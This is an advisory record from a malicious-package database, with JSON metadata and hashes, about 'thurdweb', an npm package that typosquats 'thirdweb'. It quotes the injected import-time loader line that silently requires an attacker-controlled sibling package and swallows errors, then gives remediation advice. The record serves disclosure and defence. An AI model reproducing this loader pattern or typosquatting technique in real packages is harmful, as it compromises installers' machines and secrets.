mal-2026-6345
Vulnerability from ossf_malicious_packages
Published
2026-06-23 20:01
Modified
2026-07-27 09:45
Summary
Malicious code in thurdweb (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7)

Package name thurdweb is a one-character substitution of the popular web3 SDK thirdweb, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) — the public API has no relation to the impersonated target. The library file (big.js / big.mjs lines 605-608) contains an injected top-level block that fires on require('thurdweb') / import 'thurdweb': try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. parket-slot is not declared in package.json dependencies, and the entire call is wrapped in an empty try/catch that silently swallows every error. package.json additionally declares log-taker@^0.0.9 as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.

Source: ghsa-malware (5c30d6f92980cd152eeb4c1f706539d5b57988f02c761cd413392a73cba70fd1)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "package.json",
              "sha256": "ce862263c2537fca74d04d75dbbecc350838fa487eedc52dc37db8230ace12e5",
              "tlsh": "49213463c9a59da70af85ba47c6c03aef1151b1f00a04c17b07b130c4b3345b2096b7d"
            },
            {
              "path": "big.js",
              "sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
              "tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
            }
          ],
          "package_integrity": [
            {
              "filename": "thurdweb-0.0.8.tgz",
              "hashes": {
                "sha1": "69826b6cf68f13f72b6e854feed6826a9aebae76",
                "sha512_sri": "sha512-S9HqYAPXijeGGJojs455lss+bGNrPoLIr8YNawwjPd21odTQ89bM207ZwZksM5elEynZ9RpTVglKaqg6cMfWIA=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "thurdweb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": [
        "0.0.8"
      ]
    }
  ],
  "aliases": [
    "GHSA-vx4c-33rj-4xv8"
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-007355",
        "import_time": "2026-06-23T20:48:30.624621754Z",
        "modified_time": "2026-06-23T20:01:24Z",
        "sha256": "775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7",
        "source": "amazon-inspector",
        "versions": [
          "0.0.8"
        ]
      },
      {
        "id": "GHSA-vx4c-33rj-4xv8",
        "import_time": "2026-07-27T09:43:03.853127033Z",
        "modified_time": "2026-07-27T01:18:00Z",
        "ranges": [
          {
            "events": [
              {
                "introduced": "0"
              }
            ],
            "type": "SEMVER"
          }
        ],
        "sha256": "5c30d6f92980cd152eeb4c1f706539d5b57988f02c761cd413392a73cba70fd1",
        "source": "ghsa-malware"
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (775ff15f4a1314978d4cfed1e97c6c9ac8621d8ddeed93160c25aa3681f73cc7)\nPackage name `thurdweb` is a one-character substitution of the popular web3 SDK `thirdweb`, but the shipped source is a copy of MikeMcl/big.js (arbitrary-precision decimal arithmetic) \u2014 the public API has no relation to the impersonated target. The library file (`big.js` / `big.mjs` lines 605-608) contains an injected top-level block that fires on `require(\u0027thurdweb\u0027)` / `import \u0027thurdweb\u0027`: `try { const doc = require(\"parket-slot\"); doc.from_str().then(e =\u003e { }).catch(e =\u003e { }) } catch (error) { }`. `parket-slot` is not declared in `package.json` `dependencies`, and the entire call is wrapped in an empty try/catch that silently swallows every error. `package.json` additionally declares `log-taker@^0.0.9` as a runtime dependency, which is unrelated to decimal arithmetic and shares the same nondescriptive shape. Any installer who imports this package transitively loads attacker-controlled code from sibling packages whose contents the publisher controls and can mutate independently of this tarball; the silent error handler hides failure from the consumer.\n\n## Source: ghsa-malware (5c30d6f92980cd152eeb4c1f706539d5b57988f02c761cd413392a73cba70fd1)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
  "id": "MAL-2026-6345",
  "modified": "2026-07-27T09:45:44Z",
  "published": "2026-06-23T20:01:24Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/thurdweb/v/0.0.8"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-vx4c-33rj-4xv8"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in thurdweb (npm)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…